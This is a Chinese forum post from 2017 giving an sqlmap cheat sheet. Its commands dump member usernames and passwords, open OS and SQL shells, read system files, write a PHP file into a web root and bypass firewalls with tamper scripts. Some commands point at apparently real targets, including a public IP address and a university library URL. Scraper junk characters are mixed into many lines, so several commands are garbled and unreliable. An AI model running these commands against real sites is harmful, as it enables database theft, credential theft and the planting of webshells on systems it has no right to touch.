找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2014|回复: 0

sqlmap使用实例

[复制链接]
发表于 2017-5-19 17:03:10 | 显示全部楼层 |阅读模式
/pentest/database/sqlmap: Y( L. ~( a5 B" @7 B- H
  i# e9 U& t; x9 }! U
update :::::>     in the folder   after  execute    following   order : svn update
: {+ I1 y3 h  m* i( b1 Q1 u
/ T9 T* a$ g2 H0 ssqlmap.py -r 1.txt --current-db
9 K8 {0 E1 X  I; o$ Z' B$ \2 ?7 W; U
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
( N8 M1 [. j  x0 V$ e+ u. f' _( f! b" [1 C; g/ q
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
% T: q& d2 g! Z猜解数据库
' N. B2 w: V- l& s8 K./sqlmap.py -u "injection-url" --dbs
. R( s5 O' q0 R4 Y' E  Tsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
9 M: Z) O) b, H' F" z
# k8 @& H* }1 {猜解表名1 x9 p- G* f; l7 \' w
./sqlmap.py -u "injection-url" -D database_name --tables
% w0 F) g' g% H) `3 N+ p; y; n0 x/ ]) ~/ i  G4 {, B) U8 l
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"; Y5 Y+ B* @1 H3 r% u3 X+ Y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" , a4 i/ E3 H' _" _; E! S; L

- R! j( R3 K+ Msqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
0 a' D5 X$ \4 K+ n8 A" t0 m# u9 A
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"7 ~( i( S9 o0 |* g
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
& a% X3 g4 L7 F" \' Ksqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
: ?1 m* s  o0 p9 O1 C3 x2 F) lsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"/ g0 g9 r+ [2 n2 b

1 I+ a4 y  l8 w9 y1 Xsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"' t) h( W( j5 `- f( i2 p+ k
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"1 @( ^  [* L/ M4 l" ^, E. z
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
+ w2 p( i2 T, [! p9 csqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
4 S, j; B: E1 q/ Osqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump6 x2 m8 Z/ W" X  k

  }  @6 u2 c( Fsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
. b1 s6 j8 z& c4 M3 o1 I  Osqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"! p$ g& N# j# T$ r0 m. B, M( T
5 [6 o/ T; k8 H3 [
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"5 f7 z: l. m' K. ~' p$ J' {
猜解列名7 }: o, p! J' z% ^" @. r
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
' x6 {& a3 P9 }3 _
0 T- G( M9 c" b) z+ zsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
% U) F1 P1 d; p# a9 Msqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 5 T9 R  v+ y, E" U
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
6 M4 t! O% A! G8 D+ K  W3 D( R* }2 N0 R: P# u% ?
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"! _2 m/ U! a- b" F: i! z: a
&submit=Go
5 z4 |6 e" x$ F猜解值) k2 x9 `9 e; ]' P
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
$ l2 }( x! S( J) Y% f. d========================================================
; a6 X6 `7 u2 x! L5 b: _) ?% `4 E# R搜索表名中包括mana字符的
) ^: @4 g& e: D+ L: V* `/sqlmap.py -u "injection-url" -T mana --search
* g/ ]) {' S1 u返回一个交互式sql shell/ c) q. M0 F* D% N# I
/sqlmap.py -u "injection-url" --sql-shell5 W0 b6 j7 R5 A* C4 I& V5 h
读取指定文件(需权限): A6 ~$ K. A- s9 {! a/ H/ L
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini". T7 b' t( n5 F
查看当前 用户 及 数据库
. y3 N0 {2 w, G" c# q& t/sqlmap.py -u "injection-url" --current-user --current-db
9 y7 i" |  ?' P/ ?本地文件 写入 远程目标绝对路径6 a( Z+ Q+ u1 L, f
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径: j9 X3 B7 H3 C6 J& B9 Z4 Y" E1 t
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" " G2 @. h9 E1 p( O
; l/ @5 w% K& t8 a
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径2 r, [" N" E( z
查看某用的权限
2 z/ x: _* c6 b; F/sqlmap.py -u "injection-url" --privileges -U root1 ^" M4 o$ i) O+ W! Y2 v3 H! s
查看当前用户是否为dba5 C5 ?2 n  C' r' ]( V
/sqlmap.py -u "injection-url" --is-dba
% j# g2 ^. Y3 c6 O读取所有数据库用户或指定数据库用户的密码- t) F4 t3 {" A% _$ _. J' w/ X
sqlmap.py -r 1.txt --users --passwords3 {! I& d( B& W& {. ~* N1 Y- ^" C
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
" \- c; f9 Y  F, N: {/ }+ e9 B# D
/sqlmap.py -u "injection-url" --passwords -U root
5 x( @8 |1 C1 d5 V" |
; d# H7 P- U: R& t, w. L$ X--start&&--stop 与 --first&&--last 的区别
1 i) g8 u3 X3 |0 d/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)8 n+ Z. Q' Z5 g/ P) |

- f( r/ y0 P+ d% R2 y( E/ J* y, X3 t从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)6 V4 G9 t" f2 T. B; c) M' `
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables9 {0 z$ \0 U; h* i/ G2 _+ o4 J6 b
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
, g( Y" u! r9 c3 W4 c6 b
" m0 m0 x; L. V9 [% h# v9 v: |6 n执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
- m+ a% _) U5 i/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
& [7 u( J- I! a0 Q1 A; G. [! G* Y* ]. Z( |: T; O* T1 `* V$ R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表